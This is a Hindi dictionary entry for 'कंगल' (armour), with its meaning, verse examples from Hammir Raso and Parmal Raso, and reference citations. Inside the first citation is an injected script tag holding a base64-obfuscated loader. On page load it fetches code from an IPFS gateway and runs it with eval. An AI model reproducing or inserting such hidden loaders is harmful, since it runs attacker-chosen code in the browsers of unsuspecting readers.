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कंगल  

कंगल - संज्ञा पुल्लिंग (हिन्दी)[१]

कंग। कवच।

उदाहरण

(क) कटै कंगल अंग ओ जीन बाजी।[२]

(ख) बहु गुट्टत पक्खर कंगलयं।[३]


कंगल संज्ञा पुल्लिंग (हिन्दी)

कंग

उदाहरण

लै कंगल धावै तेग बचावै पैज बुरावै वीर छलं।[४]


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टीका टिप्पणी और संदर्भ

  1. हिंदी शब्द सागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी.ए. (मूल सम्पादक) |प्रकाशक: शंभुनाथ वाजपेयी द्वारा, नागरी मुद्रण वाराणसी |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 718 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. हम्मीर रासो, संपादक श्यामसुंदर दास, नागरी प्रचारिणी सभा, काशी, प्रथम संस्करण, पृष्ठ 132
  3. हम्मीर रासो, संपादक श्यामसुंदर दास, नागरी प्रचारिणी सभा, काशी, प्रथम संस्करण, पृष्ठ 101
  4. परमाल रासो, संपादक श्यामसुंदर दास, नागरी प्रचारिणी सभा, प्रथम संस्करण, पृष्ठ 149

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